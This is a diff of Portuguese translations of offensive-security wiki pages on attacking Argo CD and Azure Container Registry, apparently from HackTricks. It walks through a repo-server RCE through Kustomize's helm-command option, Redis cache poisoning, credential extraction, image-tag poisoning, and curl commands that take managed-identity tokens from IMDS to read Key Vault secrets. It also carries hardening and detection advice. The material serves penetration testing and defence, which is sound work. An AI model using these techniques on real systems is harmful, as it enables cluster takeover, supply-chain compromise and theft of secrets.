Translated ['src/pentesting-cloud/azure-security/az-post-exploitation/az

src/pentesting-ci-cd/argocd-security.md

@@ -1,19 +1,19 @@
-# Argo CD Security
+# Segurança do Argo CD
 
 {{#include ../banners/hacktricks-training.md}}
 
-## Informações Básicas
+## Informações básicas
 
-[Argo CD](https://argo-cd.readthedocs.io/) é uma plataforma de continuous delivery GitOps para Kubernetes. Ela monitora repositórios Git, renderiza manifests do Kubernetes com ferramentas como Helm, Kustomize, Jsonnet ou config management plugins, e reconcilia o estado atual do cluster com o estado desejado armazenado no Git.
+[Argo CD](https://argo-cd.readthedocs.io/) é uma plataforma de entrega contínua GitOps para Kubernetes. Ela monitora repositórios Git, renderiza manifests do Kubernetes com ferramentas como Helm, Kustomize, Jsonnet ou plugins de gerenciamento de configuração, e reconcilia o estado atual do cluster com o estado desejado armazenado no Git.
 
-Da perspectiva de um attacker, trate o Argo CD como um **deployment engine com credenciais do Kubernetes**. Um compromise útil do Argo CD pode levar a:
+Do ponto de vista de um atacante, trate o Argo CD como um **deployment engine com credenciais do Kubernetes**. Um comprometimento útil do Argo CD pode levar a:
 
-- Acesso a repositórios Git privados e credenciais de repositório.
+- Acesso a repositórios Git privados e às credenciais dos repositórios.
-- Acesso a secrets do cluster Kubernetes usados pelo Argo CD.
+- Acesso aos secrets do cluster Kubernetes usados pelo Argo CD.
 - Execução de código na geração de manifests em `argocd-repo-server`.
-- Deployment não autorizado de objetos do Kubernetes por meio de repositórios Git confiáveis, applications do Argo CD ou manipulação de cache.
+- Deployment não autorizado de objetos do Kubernetes por meio de repositórios Git confiáveis, aplicações do Argo CD ou manipulação do cache.
 
-## Arquitetura & Componentes Interessantes
+## Arquitetura e componentes interessantes
 
 Objetos e serviços comuns do Kubernetes:
 ```bash
@@ -24,19 +24,19 @@ kubectl get networkpolicy -n argocd 2>/dev/null
 ```
 Serviços interessantes:
 
-- **`argocd-server`**: API pública, web UI, CLI API, autenticação e autorização.
+- **`argocd-server`**: API pública, interface web, API da CLI, autenticação e autorização.
-- **`argocd-application-controller`**: compara o estado desejado e o estado em execução, depois aplica recursos ao Kubernetes.
+- **`argocd-application-controller`**: compara o estado desejado e o estado real, depois aplica recursos ao Kubernetes.
-- **`argocd-repo-server`**: clona repositórios, faz cache de dados Git e executa Helm/Kustomize/Jsonnet/plugins para gerar manifests. A porta gRPC padrão é **8081**.
+- **`argocd-repo-server`**: clona repositórios, armazena dados do Git em cache e executa Helm/Kustomize/Jsonnet/plugins para gerar manifests. A porta gRPC padrão é **8081**.
-- **`argocd-redis`**: cache para dados de application, manifest e Git reference. A porta Redis padrão é **6379**.
+- **`argocd-redis`**: cache para dados de aplicações, manifests e referências do Git. A porta Redis padrão é **6379**.
-- **`argocd-applicationset-controller`**: gera objetos Argo CD `Application` a partir de generators como Git, SCM, clusters e pull requests.
+- **`argocd-applicationset-controller`**: gera objetos `Application` do Argo CD a partir de generators como Git, SCM, clusters e pull requests.
 
-A partir de um pod comprometido ou de um segmento de rede interno, verifique a acessibilidade interna:
+A partir de um pod comprometido ou de um segmento de rede interno, verifique a reachability interna:
 ```bash
 nc -vz <argocd-server> 443
 nc -vz <argocd-repo-server> 8081
 nc -vz <argocd-redis> 6379
 ```
-## Public API / UI Attacks
+## Ataques à API / UI pública
 
 Se você tiver credenciais do Argo CD ou uma instância exposta, comece pela superfície normal da API:
 ```bash
@@ -51,13 +51,13 @@ argocd admin settings rbac can <subject> <action> <resource> <object>
 ```
 Caminhos de ataque úteis:
 
-- **Application write access**: modificar `source.repoURL`, `source.path`, valores do Helm, opções do Kustomize, configurações do plugin ou opções de sync para fazer o Argo CD deploy de manifests controlados pelo atacante.
+- **Acesso de escrita à Application**: modifique `source.repoURL`, `source.path`, valores do Helm, opções do Kustomize, configurações de plugins ou opções de sincronização para que o Argo CD faça deploy de manifests controlados pelo atacante.
-- **Project misconfiguration**: objetos `AppProject` podem permitir `sourceRepos` amplos, `destinations` amplos, `clusterResourceWhitelist` inseguro, ou restrições fracas de namespace.
+- **Configuração incorreta do Project**: objetos `AppProject` podem permitir `sourceRepos` amplos, `destinations` amplos, `clusterResourceWhitelist` inseguro ou restrições fracas de namespace.
-- **Repository credential abuse**: secrets de repositório, credenciais de GitHub App, chaves SSH e tokens podem permitir push para repos confiáveis ou adicionar dependências maliciosas.
+- **Abuso de credenciais do repositório**: secrets do repositório, credenciais do GitHub App, chaves SSH e tokens podem permitir fazer push em repositórios confiáveis ou adicionar dependências maliciosas.
-- **Cluster credential abuse**: secrets de cluster podem conter bearer tokens ou configuração de exec-provider usada pelo Argo CD para fazer deploy em target clusters.
+- **Abuso de credenciais do cluster**: secrets do cluster podem conter bearer tokens ou configurações de exec-provider usadas pelo Argo CD para fazer deploy nos clusters-alvo.
-- **Local admin / project tokens**: tokens do Argo CD de longa duração podem ser reutilizados pela API, a menos que sejam revogados ou expirem.
+- **Tokens de admin local / Project**: tokens de longa duração do Argo CD podem ser reutilizados pela API, a menos que sejam revogados ou expirem.
 
-Enumere a configuração do Kubernetes quando você tiver cluster read access:
+Enumere a configuração do Kubernetes quando tiver acesso de leitura ao cluster:
 ```bash
 kubectl get applications.argoproj.io -A -o yaml
 kubectl get appprojects.argoproj.io -A -o yaml
@@ -65,26 +65,26 @@ kubectl get applicationsets.argoproj.io -A -o yaml
 kubectl get secrets -n argocd -o yaml | grep -nE 'repoURL|sshPrivateKey|password|bearerToken|githubApp|tlsClientCertData|tlsClientCertKey'
 kubectl get cm -n argocd argocd-cm argocd-rbac-cm argocd-cmd-params-cm -o yaml
 ```
-## Abuso de Trusted Git Repository
+## Abuso de Repositório Git Confiável
 
-Se você pode fazer push para um repository trusted pelo Argo CD, normalmente consegue influenciar o que é deployed. O impacto depende dos limites do `AppProject` e das permissões da service account usadas pelo application controller.
+Se você puder fazer push para um repositório confiável pelo Argo CD, normalmente poderá influenciar o que é implantado. O impacto depende dos limites do `AppProject` e das permissões da service account usadas pelo application controller.
 
-Locais comuns de payload:
+Locais comuns para payloads:
 
-- Raw Kubernetes YAML sob um caminho da application.
+- YAML bruto do Kubernetes em um caminho da aplicação.
 - Templates de Helm chart e `values.yaml`.
-- Kustomize overlays, remote bases e generators.
+- Overlays do Kustomize, bases remotas e generators.
-- Jsonnet ou input de config management plugin.
+- Entrada do Jsonnet ou de plugins de gerenciamento de configuração.
 - Arquivos de generator do ApplicationSet que criam ou atualizam objetos `Application`.
 
-Verifique se a app usa automated sync, pruning, self-heal, sync windows ou manual approvals:
+Verifique se a aplicação usa sync automatizado, pruning, self-heal, sync windows ou aprovações manuais:
 ```bash
 kubectl get applications.argoproj.io -A \
 -o custom-columns='NS:.metadata.namespace,APP:.metadata.name,PROJECT:.spec.project,AUTOSYNC:.spec.syncPolicy.automated,REPO:.spec.source.repoURL,PATH:.spec.source.path,DEST:.spec.destination.server'
 ```
-## Abuso direto de `argocd-repo-server`
+## Abuso direto do `argocd-repo-server`
 
-Não presuma que a API pública do Argo CD é a única superfície de ataque. Componentes internos do Argo CD se comunicam com `argocd-repo-server` via gRPC. Se pods arbitrários conseguirem alcançar o repo-server, requisições internas controladas pelo atacante podem contornar verificações normalmente aplicadas por `argocd-server`.
+Não presuma que a API pública do Argo CD seja a única superfície de ataque. Os componentes internos do Argo CD se comunicam com o `argocd-repo-server` por gRPC. Se pods arbitrários puderem alcançar o repo-server, requisições internas controladas pelo atacante poderão contornar verificações normalmente aplicadas pelo `argocd-server`.
 
 Verificações práticas:
 ```bash
@@ -94,20 +94,20 @@ nc -vz <argocd-repo-server> 8081
 ```
 Sinais interessantes:
 
-- O endpoint gRPC do repo-server é acessível a partir de pods que não são do Argo CD.
+- O endpoint gRPC do repo-server pode ser acessado a partir de pods que não pertencem ao Argo CD.
-- NetworkPolicies estão ausentes ou só permitem allow-list de egress sem negar ingress.
+- NetworkPolicies estão ausentes ou apenas permitem egress por allow-list, sem negar ingress.
-- O repo-server tem acesso a custom config management plugins, decryption tools, ou conteúdo de repository de múltiplos tenants.
+- O repo-server tem acesso a plugins personalizados de gerenciamento de configuração, ferramentas de descriptografia ou conteúdo de repositórios de múltiplos tenants.
-- Redis é acessível a partir de pods que não são do Argo CD, permitindo inspeção ou tampering do cache se credenciais estiverem disponíveis ou não forem necessárias.
+- O Redis pode ser acessado a partir de pods que não pertencem ao Argo CD, permitindo a inspeção ou adulteração do cache caso as credenciais estejam disponíveis ou não sejam necessárias.
 
-## Unauthenticated Repo-Server RCE via Kustomize Options
+## RCE não autenticado no Repo-Server via opções do Kustomize
 
-Em julho de 2026, a Synacktiv divulgou uma cadeia de execução de código não autenticada no `repo-server` do Argo CD quando um atacante consegue alcançar o serviço gRPC interno. O ataque abusa do acesso direto a `/repository.RepoServerService/GenerateManifest` e de `KustomizeOptions` controladas pelo atacante.
+Em julho de 2026, a Synacktiv divulgou uma cadeia de execução de código não autenticada no `repo-server` do Argo CD quando um atacante consegue acessar o serviço gRPC interno. O ataque abusa do acesso direto a `/repository.RepoServerService/GenerateManifest` e de `KustomizeOptions` controladas pelo atacante.
 
-O primitive perigoso é forçar o repo-server a clonar conteúdo de repository controlado pelo atacante e executar Kustomize com suporte a Helm:
+A primitiva perigosa consiste em forçar o repo-server a clonar conteúdo de um repositório controlado pelo atacante e executar o Kustomize com suporte ao Helm:
 ```bash
 kustomize build <attacker_repo_path> --enable-helm --helm-command ./payload.sh
 ```
-Entrada maliciosa mínima do Kustomize precisa acionar o processamento do Helm:
+Entrada maliciosa mínima do Kustomize necessária para acionar o processamento do Helm:
 ```yaml
 helmCharts:
 - name: pwn
@@ -117,13 +117,13 @@ Por que isso funciona:
 
 - `argocd-repo-server` clona o repositório antes de renderizar.
 - `--helm-command ./payload.sh` é resolvido em relação ao repositório clonado.
-- A execução de código não requer injeção de metacaracteres de shell se o atacante puder controlar o repositório renderizado e as opções de build do Kustomize.
+- A execução de código não exige injeção de metacaracteres do shell se o atacante puder controlar o repositório renderizado e as opções de build do Kustomize.
 
-No momento da divulgação da Synacktiv em 1 de julho de 2026, eles relataram que a issue não tinha correção oficial nem CVE. Trate isso primeiro como um problema de exposição de rede: a exploração exige alcance ao port gRPC interno do repo-server.
+No momento da divulgação pela Synacktiv, em 1º de julho de 2026, eles relataram que o problema não tinha correção oficial nem CVE. Trate isso primeiro como um problema de exposição de rede: a exploração exige acessibilidade à porta gRPC interna do repo-server.
 
 ## Redis Cache Poisoning to Deploy Manifests
 
-Após execução de código em `argocd-repo-server`, ou após acesso direto ao Redis com credenciais válidas, inspecione entradas de cache baseadas em Redis. O Argo CD normalmente armazena valores JSON compactados com gzip.
+Após a execução de código no `argocd-repo-server`, ou após o acesso direto ao Redis com credenciais válidas, inspecione as entradas de cache armazenadas no Redis. O Argo CD normalmente armazena valores JSON compactados com gzip.
 
 Prefixos de chave interessantes:
 ```text
@@ -132,33 +132,33 @@ git-refs|...   # Git branch/ref to commit mappings
 app|...        # application resource/cache data
 cluster|...    # cluster cache information
 ```
-O ataque de cache poisoning descrito por Synacktiv abusa de duas peças de estado:
+O ataque de cache poisoning descrito pela Synacktiv abusa de duas partes do estado:
 
-1. Modificar a entrada de cache do manifesto relevante `mfst|...` para incluir um manifesto Kubernetes controlado pelo atacante.
+1. Modificar a entrada de cache de manifesto `mfst|...` relevante para incluir um manifesto Kubernetes controlado pelo atacante.
-2. Modificar o mapeamento relacionado `git-refs|...` para que o Argo CD acredite que a branch mudou e então faça reconcile de volta para a revisão em cache.
+2. Modificar o mapeamento `git-refs|...` relacionado para fazer o Argo CD acreditar que a branch foi alterada e, em seguida, reconciliar novamente com a revisão armazenada em cache.
 
 Impacto:
 
-- Com Auto Sync habilitado, o Argo CD pode aplicar automaticamente o manifesto em cache corrompido.
+- Com o Auto Sync habilitado, o Argo CD pode aplicar automaticamente o manifesto armazenado em cache e envenenado.
-- Sem Auto Sync, o payload ainda pode ser aplicado quando um usuário fizer sync manual da aplicação.
+- Sem o Auto Sync, o payload ainda poderá ser aplicado quando um usuário sincronizar manualmente a aplicação.
-- O impacto final é limitado pelo destino da aplicação alvo e pelas permissões Kubernetes disponíveis para o Argo CD.
+- O impacto final é limitado pelo destino da aplicação-alvo e pelas permissões Kubernetes disponíveis para o Argo CD.
 
-## ApplicationSet Attacks
+## Ataques do ApplicationSet
 
-ApplicationSet é especialmente sensível porque cria ou atualiza objetos `Application` a partir da saída do generator.
+O ApplicationSet é especialmente sensível porque cria ou atualiza objetos `Application` a partir da saída do gerador.
 
-Review:
+Revisão:
 ```bash
 kubectl get applicationsets.argoproj.io -A -o yaml
 kubectl get appprojects.argoproj.io -A -o yaml
 ```
 Padrões interessantes:
 
-- Git generators lendo arquivos graváveis por attacker que controlam nomes de app, paths, projects ou destinations.
+- Git generators lendo arquivos graváveis pelo atacante que controlam nomes de aplicações, paths, projetos ou destinos.
-- Pull request generators para repositórios públicos onde contributors não confiáveis podem influenciar aplicações geradas.
+- Pull request generators para repositórios públicos nos quais contribuidores não confiáveis podem influenciar as aplicações geradas.
-- Campos de template que permitem broad destination clusters/namespaces.
+- Campos de template que permitem clusters/destinos amplos e namespaces.
-- AppProjects que permitem `sourceRepos: ["*"]` ou broad `destinations`.
+- AppProjects que permitem `sourceRepos: ["*"]` ou `destinations` amplos.
-- Aplicações geradas que herdam automated sync e pruning.
+- Aplicações geradas que herdam sincronização e pruning automatizados.
 
 ## Post-Exploitation
 
@@ -171,49 +171,50 @@ mount | grep -E 'secret|token|config'
 ```
 Objetivos úteis:
 
-- Roubar `REDIS_PASSWORD` ou material TLS/client do Redis.
+- Roubar `REDIS_PASSWORD` ou material de cliente/TLS do Redis.
-- Extrair credenciais de repositório de secrets montados ou de secrets do Kubernetes do Argo CD.
+- Extrair credenciais de repositórios a partir de secrets montados ou secrets do Kubernetes do Argo CD.
-- Identificar credenciais do cluster usadas pelo Argo CD.
+- Identificar as credenciais de cluster usadas pelo Argo CD.
-- Ler manifests gerados e saída de plugin que podem incluir secrets injetados.
+- Ler manifests gerados e a saída de plugins que possam incluir secrets injetados.
-- Verificar se custom plugins, SOPS, Helm secrets, plugins do Vault ou cloud CLIs expõem chaves de decryption e credenciais de cloud.
+- Verificar se plugins personalizados, SOPS, Helm secrets, plugins do Vault ou cloud CLIs expõem chaves de decriptação e credenciais de cloud.
 
-## Detection & Hardening
+## Detecção e Hardening
 
-Checks importantes:
+Verificações importantes:
 
-- Restrinja a porta **8081** do `argocd-repo-server` e a porta **6379** do Redis com NetworkPolicies para que apenas os componentes esperados do Argo CD possam acessá-los.
+- Restringir a porta **8081** do `argocd-repo-server` e a porta **6379** do Redis com NetworkPolicies, permitindo acesso apenas aos componentes esperados do Argo CD.
-- Em implantações Helm, verifique se as network policies estão realmente sendo criadas. Os valores do chart Helm do Argo CD historicamente vinham com a criação de network policy dos componentes desativada por padrão.
+- Em deployments do Helm, verificar se as network policies são realmente criadas. Os valores do Helm chart do Argo CD historicamente deixaram a criação de network policies dos componentes desabilitada por padrão.
-- Mantenha `argocd-server` como o ponto de entrada autenticado. Serviços internos não devem estar acessíveis a workloads arbitrários.
+- Manter o `argocd-server` como ponto de entrada autenticado. Os serviços internos não devem ser acessíveis a workloads arbitrários.
-- Desative ferramentas e plugins de config management não usados.
+- Desabilitar ferramentas e plugins de gerenciamento de configuração não utilizados.
-- Restrinja `AppProject` `sourceRepos`, `destinations`, permissões de namespace e recursos cluster-scoped.
+- Restringir `sourceRepos`, `destinations`, permissões de namespace e recursos com escopo de cluster do `AppProject`.
-- Evite armazenar credenciais amplas de repositório onde um usuário do Argo CD com pouco privilégio possa fazer com que sejam reutilizadas.
+- Evitar armazenar credenciais amplas de repositórios onde um usuário do Argo CD com poucos privilégios possa causar sua reutilização.
-- Monitore requests do repo-server, opções de build do Kustomize, execuções de plugin, writes no Redis e acesso inesperado a chaves `mfst|` / `git-refs|`.
+- Monitorar requisições ao repo-server, opções de build do Kustomize, execuções de plugins, gravações no Redis e acessos inesperados às chaves `mfst|` / `git-refs|`.
-- Faça rotate de usuários locais do Argo CD, tokens de projeto, credenciais de repositório e credenciais de cluster após compromise.
+- Rotacionar usuários locais do Argo CD, tokens de projeto, credenciais de repositórios e credenciais de cluster após um comprometimento.
 
-Useful commands:
+Comandos úteis:
 ```bash
 kubectl get networkpolicy -n argocd
 kubectl get networkpolicy -A | grep -i argocd
 kubectl describe networkpolicy -n argocd argocd-repo-server-network-policy 2>/dev/null
 kubectl describe networkpolicy -n argocd argocd-redis-network-policy 2>/dev/null
 ```
-## Nota de Static Analysis: Typed API Requests em CodeQL
+## Nota de Análise Estática: Typed API Requests no CodeQL
 
-Para serviços Go usando handlers gRPC/REST, as default CodeQL remote sources podem perder flows depois que o raw input é unmarshaled em typed request objects. Um modelo útil para serviços no estilo Argo CD é:
+Para serviços Go que usam handlers gRPC/REST, as remote sources padrão do CodeQL podem não identificar os flows depois que a entrada bruta é unmarshaled em objetos de request tipados. Um modelo útil para serviços no estilo do Argo CD é:
 
-- Receiver type como `Server` ou `Service`.
+- Tipo do receiver, como `Server` ou `Service`.
 - O primeiro parâmetro é `context.Context`.
-- O segundo parâmetro é um typed request object.
+- O segundo parâmetro é um objeto de request tipado.
 
-Modele esse segundo parâmetro como um remote source e adicione custom sinks para argumentos de `exec.Command` / `exec.CommandContext`. Isso ajuda a encontrar flows de campos de internal API request para command execution helpers.
+Modele esse segundo parâmetro como uma remote source e adicione sinks personalizados para os argumentos de `exec.Command` / `exec.CommandContext`. Isso ajuda a encontrar flows dos campos de requests de APIs internas até os helpers de execução de comandos.
 
-## References
+## Referências
 
 - [Synacktiv - Caught in the Octopus Trap: Unauthenticated RCE in Argo CD with CodeQL](https://www.synacktiv.com/en/publications/caught-in-the-octopus-trap-unauthenticated-rce-in-argo-cd-with-codeql)
-- [Argo CD docs - Security considerations](https://argo-cd.readthedocs.io/en/stable/operator-manual/security/)
+- [Documentação do Argo CD - Considerações de segurança](https://argo-cd.readthedocs.io/en/stable/operator-manual/security/)
-- [Argo CD docs - High Availability](https://argo-cd.readthedocs.io/en/stable/operator-manual/high_availability/)
+- [Documentação do Argo CD - Alta disponibilidade](https://argo-cd.readthedocs.io/en/stable/operator-manual/high_availability/)
-- [Argo CD docs - repo-server command reference](https://argo-cd.readthedocs.io/en/stable/operator-manual/server-commands/argocd-repo-server/)
+- [Documentação do Argo CD - Referência de comandos do repo-server](https://argo-cd.readthedocs.io/en/stable/operator-manual/server-commands/argocd-repo-server/)
-- [Argo CD - repo-server NetworkPolicy manifest](https://github.com/argoproj/argo-cd/blob/master/manifests/base/repo-server/argocd-repo-server-network-policy.yaml)
+- [Argo CD - Manifesto de NetworkPolicy do repo-server](https://github.com/argoproj/argo-cd/blob/master/manifests/base/repo-server/argocd-repo-server-network-policy.yaml)
-- [Argo CD docs - metrics](https://argo-cd.readthedocs.io/en/latest/operator-manual/metrics/)
+- [Documentação do Argo CD - Métricas](https://argo-cd.readthedocs.io/en/latest/operator-manual/metrics/)
-- [Argo Helm - chart values reference](https://github.com/argoproj/argo-helm/blob/main/charts/argo-cd/README.md)
+- [Argo Helm - Referência de valores do chart](https://github.com/argoproj/argo-helm/blob/main/charts/argo-cd/README.md)
-- [Kustomize - Helm chart generator example](https://github.com/kubernetes-sigs/kustomize/blob/master/examples/chart.md)
+- [Kustomize - Exemplo de gerador de chart Helm](https://github.com/kubernetes-sigs/kustomize/blob/master/examples/chart.md)
+{{#include ../banners/hacktricks-training.md}}

src/pentesting-cloud/azure-security/az-post-exploitation/README.md

@@ -6,4 +6,8 @@
 az-azure-ai-foundry-post-exploitation.md
 {{#endref}}
 
+{{#ref}}
+az-container-registry-post-exploitation.md
+{{#endref}}
+
 {{#include ../../../banners/hacktricks-training.md}}

src/pentesting-cloud/azure-security/az-post-exploitation/az-container-registry-post-exploitation.md

@@ -0,0 +1,87 @@
+# Az - Pós-exploração do Container Registry
+
+{{#include ../../../banners/hacktricks-training.md}}
+
+## Azure Container Registry
+
+Para mais informações sobre este serviço, consulte:
+
+{{#ref}}
+../az-services/az-container-registry.md
+{{#endref}}
+
+### `Microsoft.ContainerRegistry/registries/listCredentials/action`, `Microsoft.ContainerRegistry/registries/write`
+
+Uma identidade com acesso ao plano de gerenciamento do ACR pode converter esse acesso em **credenciais Docker reutilizáveis**. Se o **admin user** estiver desabilitado, mas o principal também tiver `registries/write`, habilite-o, recupere as senhas e autentique-se diretamente em `<registry>.azurecr.io`.
+```bash
+az acr show --resource-group <resource-group> --name <registry-name> --query adminUserEnabled
+az acr update --resource-group <resource-group> --name <registry-name> --admin-enabled true
+az acr credential show -n <registry-name>
+docker login <registry-name>.azurecr.io -u <username> -p <password>
+```
+Isso é útil porque as credenciais recuperadas podem ser reutilizadas fora do Azure CLI para **list, pull, push, overwrite e, às vezes, delete** do conteúdo do registry até que a conta de administrador seja desabilitada ou as senhas sejam rotacionadas.
+
+### `Microsoft.ContainerRegistry/registries/pull/read`
+
+Use o acesso `pull` para **reconhecimento de repositórios** e **secret hunting** dentro das imagens. Revise tanto a configuração final do container quanto as camadas históricas do filesystem, pois os arquivos copiados em uma camada podem continuar recuperáveis mesmo que sejam excluídos posteriormente.
+```bash
+az acr repository list -n <registry-name>
+az acr repository show-tags -n <registry-name> --repository <repository> --detail
+docker pull <registry-name>.azurecr.io/<repository>:<tag>
+
+container_id=$(docker create <registry-name>.azurecr.io/<repository>:<tag>)
+docker cp "$container_id":/ ./extracted_container
+docker rm "$container_id"
+docker inspect <registry-name>.azurecr.io/<repository>:<tag> | jq -r '.[0].Config.Env[]?'
+dive <registry-name>.azurecr.io/<repository>:<tag>
+```
+Alvos de alto valor incluem **variáveis de ambiente**, **configs da aplicação**, **scripts de deployment**, **certificados**, **tokens de acesso** e **connection strings**. Para obter mais ideias ao revisar as layers, consulte a página de Docker forensics:
+
+{{#ref}}
+https://book.hacktricks.wiki/en/generic-methodologies-and-resources/basic-forensic-methodology/docker-forensics.html
+{{#endref}}
+
+### `Microsoft.ContainerRegistry/registries/push/write`
+
+O acesso de push permite que um atacante **envenene repositórios confiáveis** ou **sobrescreva tags mutáveis** como `latest`, `prod` ou `stable`. Qualquer workload que ainda faça deployment por tag em vez de digest poderá baixar a imagem do atacante no próximo deployment, evento de scale-out ou restart.
+```bash
+# Retag an existing local image for the target ACR
+
+docker tag <local-image>:<local-tag> <registry-name>.azurecr.io/<repository>:<trusted-tag>
+docker push <registry-name>.azurecr.io/<repository>:<trusted-tag>
+
+# If your workstation architecture differs from the target runtime, build for the consumer platform first
+
+docker buildx build --platform linux/amd64 -t <registry-name>.azurecr.io/<repository>:<trusted-tag> --load .
+docker push <registry-name>.azurecr.io/<repository>:<trusted-tag>
+```
+Antes de substituir uma tag, verifique quais repositórios e tags são realmente consumidos pelas cargas de trabalho downstream. Consumidores **fixados por digest** (`@sha256:...`) são muito mais difíceis de redirecionar do que consumidores baseados em tags.
+
+### `Microsoft.ContainerRegistry/registries/push/write`, `Microsoft.ContainerInstance/containerGroups/restart/action`
+
+Se você puder **substituir a imagem** usada por uma carga de trabalho de container downstream e **reiniciar** essa carga, o entrypoint malicioso será executado dentro do **contexto de rede e identidade gerenciada** do container-alvo. A partir daí, a imagem poderá solicitar tokens do IMDS e acessar recursos do Azure alcançáveis pela identidade dessa carga de trabalho.
+```bash
+TOKEN=$(curl -s -H Metadata:true 'http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://vault.azure.net' | jq -r .access_token)
+curl -H "Authorization: Bearer $TOKEN" \
+'https://<vault-name>.vault.azure.net/secrets/<secret-name>?api-version=7.4'
+az container restart --resource-group <resource-group> --name <container-name>
+```
+Isso transforma uma sobrescrita de tag do ACR em **execução de código**, **roubo de secrets** ou **movimentação lateral** dentro de qualquer consumer de container que confie na tag modificada e exponha uma identidade útil.
+
+### Caminho de privesc relacionado: managed identities do ACR Tasks
+
+Se você também tiver `Microsoft.ContainerRegistry/registries/tasks/write` e `Microsoft.ContainerRegistry/registries/runs/write`, siga para o caminho de privesc do ACR e abuse diretamente da managed identity da task:
+
+{{#ref}}
+../az-privilege-escalation/az-container-registry-privesc.md
+{{#endref}}
+
+## Referências
+
+- [TrustedSec - Pandora's Container Part 1: Desempacotando a segurança de containers do Azure](https://trustedsec.com/blog/pandoras-container-part-1-unpacking-azure-container-security)
+- [Microsoft Learn - Autenticação do Azure Container Registry](https://learn.microsoft.com/en-us/azure/container-registry/container-registry-authentication)
+- [Microsoft Learn - az acr credential](https://learn.microsoft.com/en-us/cli/azure/acr/credential?view=azure-cli-latest)
+- [Microsoft Learn - az acr repository](https://learn.microsoft.com/en-us/cli/azure/acr/repository?view=azure-cli-latest)
+- [Microsoft Learn - Referência YAML do ACR Tasks](https://learn.microsoft.com/en-us/azure/container-registry/container-registry-tasks-reference-yaml)
+
+{{#include ../../../banners/hacktricks-training.md}}

src/pentesting-cloud/azure-security/az-services/az-container-registry.md

@@ -2,39 +2,39 @@
 
 {{#include ../../../banners/hacktricks-training.md}}
 
-## Informações Básicas
+## Informações básicas
 
-Azure Container Registry (ACR) é um registry seguro e privado que permite **armazenar, gerenciar e acessar container images na Azure cloud**. Ele se integra perfeitamente com vários Azure services, fornecendo fluxos de trabalho automatizados de build e deployment em escala. Com recursos como geo-replication e vulnerability scanning, o ACR ajuda a garantir segurança e compliance de nível enterprise para aplicações em contêineres.
+Azure Container Registry (ACR) é um registry seguro e privado que permite **armazenar, gerenciar e acessar imagens de containers na Azure cloud**. Ele se integra perfeitamente a vários serviços da Azure, fornecendo workflows automatizados de build e deployment em escala. Com recursos como geo-replicação e vulnerability scanning, o ACR ajuda a garantir segurança e conformidade de nível empresarial para aplicações containerizadas.
 
-### Permissions
+### Permissões
 
-Estas são as **different permissions** [according to the docs](https://learn.microsoft.com/en-us/azure/container-registry/container-registry-roles?tabs=azure-cli#access-resource-manager) que podem ser concedidas em um Container Registry:
+Estas são as **diferentes permissões** [de acordo com a documentação](https://learn.microsoft.com/en-us/azure/container-registry/container-registry-roles?tabs=azure-cli#access-resource-manager) que podem ser concedidas sobre um Container Registry:
 
-- Access Resource Manager
+- Acessar o Resource Manager
-- Create/delete registry
+- Criar/excluir registry
-- Push image
+- Fazer push de imagem
-- Pull image
+- Fazer pull de imagem
-- Delete image data
+- Excluir dados de imagem
-- Change policies
+- Alterar policies
-- Sign images
+- Assinar imagens
 
 Também existem algumas **built-in roles** que podem ser atribuídas, e também é possível criar **custom roles**.
 
-![Azure Container Registry built-in roles permissions matrix for managing registry, image, data, policies, and signing actions](/images/registry_roles.png)
+![Matriz de permissões das built-in roles do Azure Container Registry para gerenciar ações de registry, imagem, dados, policies e assinatura](/images/registry_roles.png)
 
-### Authentication
+### Autenticação
 
 > [!WARNING]
-> É muito imporatant que, mesmo que o nome do registry contenha algumas letras maiúsculas, você sempre deve usar **lowercase letters** para fazer login, push e pull images.
+> É muito importante que, mesmo que o nome do registry contenha letras maiúsculas, você sempre use **letras minúsculas** para fazer login, push e pull de imagens.
 
 Existem 4 maneiras de autenticar em um ACR:
 
-- **With Entra ID**: Esta é a forma **default** de autenticar em um ACR. Ela usa o comando **`az acr login`** para autenticar no ACR. Este comando irá **armazenar as credentials** no arquivo **`~/.docker/config.json`**. Além disso, se você estiver executando este comando de um ambiente sem acesso a um docker socket, como em um **cloud shell**, é possível usar a flag **`--expose-token`** para obter o **token** para autenticar no ACR. Então, para autenticar, você precisa usar como user name `00000000-0000-0000-0000-000000000000` assim: `docker login myregistry.azurecr.io --username 00000000-0000-0000-0000-000000000000 --password-stdin <<< $TOKEN`
+- **Com Entra ID**: Esta é a maneira **padrão** de autenticar em um ACR. Ela usa o comando **`az acr login`** para autenticar no ACR. Esse comando irá **armazenar as credenciais** no arquivo **`~/.docker/config.json`**. Além disso, se você estiver executando esse comando em um ambiente sem acesso a um socket do docker, como em um **cloud shell**, é possível usar a flag **`--expose-token`** para obter o **token** de autenticação no ACR. Então, para autenticar, você precisa usar `00000000-0000-0000-0000-000000000000` como nome de usuário, por exemplo: `docker login myregistry.azurecr.io --username 00000000-0000-0000-0000-000000000000 --password-stdin <<< $TOKEN`
-- **With an admin account**: O admin user vem desabilitado por default, mas pode ser habilitado e então será possível acessar o registry com o **username** e **password** da conta admin, com permissões completas sobre o registry. Isso ainda é suportado porque alguns Azure services o utilizam. Note que **2 passwords** são criadas para este usuário e ambas são válidas. Você pode habilitá-lo com `az acr update -n <acrName> --admin-enabled true`. Note que o username geralmente é o nome do registry (e não `admin`).
+- **Com uma conta de admin**: O usuário admin é desabilitado por padrão, mas pode ser habilitado. Depois disso, será possível acessar o registry com o **username** e a **password** da conta admin, com permissões completas no registry. Isso ainda é suportado porque alguns serviços da Azure o utilizam. Observe que são criadas **2 passwords** para esse usuário, e ambas são válidas. Você pode habilitá-lo com `az acr update -n <acrName> --admin-enabled true`. Observe que o username geralmente é o nome do registry, e não `admin`.
-- **With a token**: É possível criar um **token** com um **specific `scope map`** (permissions) para acessar o registry. Então, é possível usar o nome do token como username e qualquer uma das passwords geradas para autenticar no registry com `docker login -u <registry-name> -p <password> <registry-url>`
+- **Com um token**: É possível criar um **token** com um **`scope map`** (permissões) específico para acessar o registry. Depois, é possível usar o nome do token como username e qualquer uma das passwords geradas para autenticar no registry com `docker login -u <registry-name> -p <password> <registry-url>`
-- **With a Service Principal**: É possível criar um **service principal** e atribuir uma role como **`AcrPull`** para fazer pull images. Então, será possível **fazer login to the registry** usando o SP appId como username e um secret gerado como password.
+- **Com um Service Principal**: É possível criar um **service principal** e atribuir uma role como **`AcrPull`** para fazer pull de imagens. Depois, será possível **fazer login no registry** usando o appId do SP como username e um secret gerado como password.
 
-Example script from the [docs](https://learn.microsoft.com/en-us/azure/container-registry/container-registry-auth-service-principal) to generate a SP with access over a registry:
